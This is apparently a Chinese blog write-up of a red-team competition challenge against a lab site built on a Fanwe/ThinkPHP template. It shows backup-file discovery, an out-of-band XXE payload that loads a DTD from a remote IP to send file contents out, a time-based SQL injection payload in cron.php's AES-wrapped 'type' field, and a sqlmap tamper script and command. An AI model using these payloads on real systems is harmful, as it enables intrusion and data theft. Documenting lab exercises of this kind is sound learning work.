红队擂台挑战赛 比武招亲,给你个老婆要不要?

以下是目标站

图片

使用的是《方维技术论坛》的模板,尝试了一下在网上找模板,无果

貌似这套模板得几万块一套,网上没有泛滥图片图片

图片

这类的站,直接黑盒搞得可能性不太大 不然早泛滥了

这里尝试一下扫描备份文件,或者有惊喜

图片

先选择自定义字典的《压缩包.txt》,然后开始扫描

扫出一条结果

http://mawd16-20.aqlab.cn:23512/fw.zip

图片

直接在浏览打开,弹出了下载 这个文件极有可能是此站的安装包

图片

翻看了一下 发现确实是此站源码不假

图片

简单的翻看了一下源码,使用了think PHP框架

发现使用了微信支付的sdk 这个版本的sdk存在xxe注入 嘿嘿

图片

这里直接一梭子过去直接一梭子过去

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file://文件路径">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

图片

哦豁 宝塔防火墙,不要慌 这里先bypass一下

等等,xml代码的bypass我好像不会啊,那怎么办

果断放弃这个点,专挑软柿子来捏才是王道

图片

既然题目是数据库中的flag,那么突破点既有可能是sql注入

但是这里是使用的thinkphp框架进行开发的,难道是框架的注入吗??

这里我掐了一卦梅花易数,算出突破点在根目录的 cron.php

图片

$auth = trim($_POST['auth']);

require_once APP_ROOT_PATH.'/system/libs/crypt_aes.php';
$aes = new CryptAES();
$aes->set_key(FANWE_AES_KEY);
$aes->require_pkcs5();

$decString = $aes->decrypt($auth);
$data = json_decode($decString,1);
if($data['key']!=FANWE_APP_ID)
  die("auth error");
else
  $type = $data['type'];

这里先是接收post参数auth 放在$auth变量中

这里引入了aes的库文件,然后new CryptAES

接着赋值了密钥 这里我是通过命名猜的

下面这一行$aes->require_pkcs5(); 是干啥的就猜不出来了

这里直接打开crypt_aes.php 搜索此函数 发现是设置类型 methon

图片

简单的看了下 还有加密的函数

图片

接着是解密$auth 也就是post参数

然后进行了json解析 返回给$data

再然后进行了判断,判断$data['key']的值是否不等于FANWE_APP_ID

这里的FANWE_APP_ID目测是个自定义的常量

如果不等于则  die("auth error");

等于则   $type = $data['type'];

然后将$type放进sql语句中执行

$GLOBALS['db']->query("start transaction");
$schedule_data = $GLOBALS['db']->getRow("select * from ".DB_PREFIX."schedule_list where type='".$type."' and exec_status in (0,1) and exec_lock = 0 and  schedule_time <=".NOW_TIME." order by schedule_time asc limit 1");

通过以上的分析,这里的 FANWE_AES_KEY与FANWE_APP_ID两个常量是关键

这里将cron.php的代码复制到test.php 

这里把post改成get 方便测试

图片

这里先直接输出两个常量 却发现直接把常量的命名给输出出来了

echo FANWE_AES_KEY . "--"  . FANWE_APP_ID."<br>";

行吧,我输了

这里我加了两行代码

直接对参数进行加密,然后把加密后的值输出出来方便测试

图片

这里打开浏览器直接进行传参调试 

根据php代码这里构造了一个json传过去

返回值为 "auth error",条件不成立

图片

这里将key的值改为 FANWE_APP_ID,页面返回一个json 条件成立

图片

这里将type的值改为以下的payload,页面开始延迟加载了 注入成功

?{"key": "FANWE_APP_ID","type": "sms' or sleep(10)-- 1"}

图片

这里将代码划到最底部,页面输出的json值 其实是当前传入的type参数跟时间戳。。。

图片

这里他妈的是盲注啊 靠

那就只能用sqlmap了(极不情愿),但是参数需要先进行aes加密。。。

这里简单的修改一下当前的代码,让其直接返回加密后的hash值

当前只需要传入sql语句即可

图片

$auth = "{\"key\": \"FANWE_APP_ID\",\"type\": \"".$auth."\"}";
$auth = $aes->encrypt($auth);
echo urlencode($auth);
exit();

然后这里再使用python写一个sqlmap的tamper脚本 对接上面的php

图片

import requests
def dependencies():
    pass
def tamper(payload, **kwargs):
    sesion = requests.session()
    sesion.trust_env = False
    red = sesion.get("http://test.com/test.php?auth="+payload)
    return red.text

然后抓一下目标站的包,使用sqlmap进行盲注

sqlmap.py -r C:\Users\Test\Desktop\aaa.txt --tamper C:\Users\Test\Desktop\sqlmapproject-sqlmap-673a5af\tamper\test.py --dbs

图片

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

药药同学

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值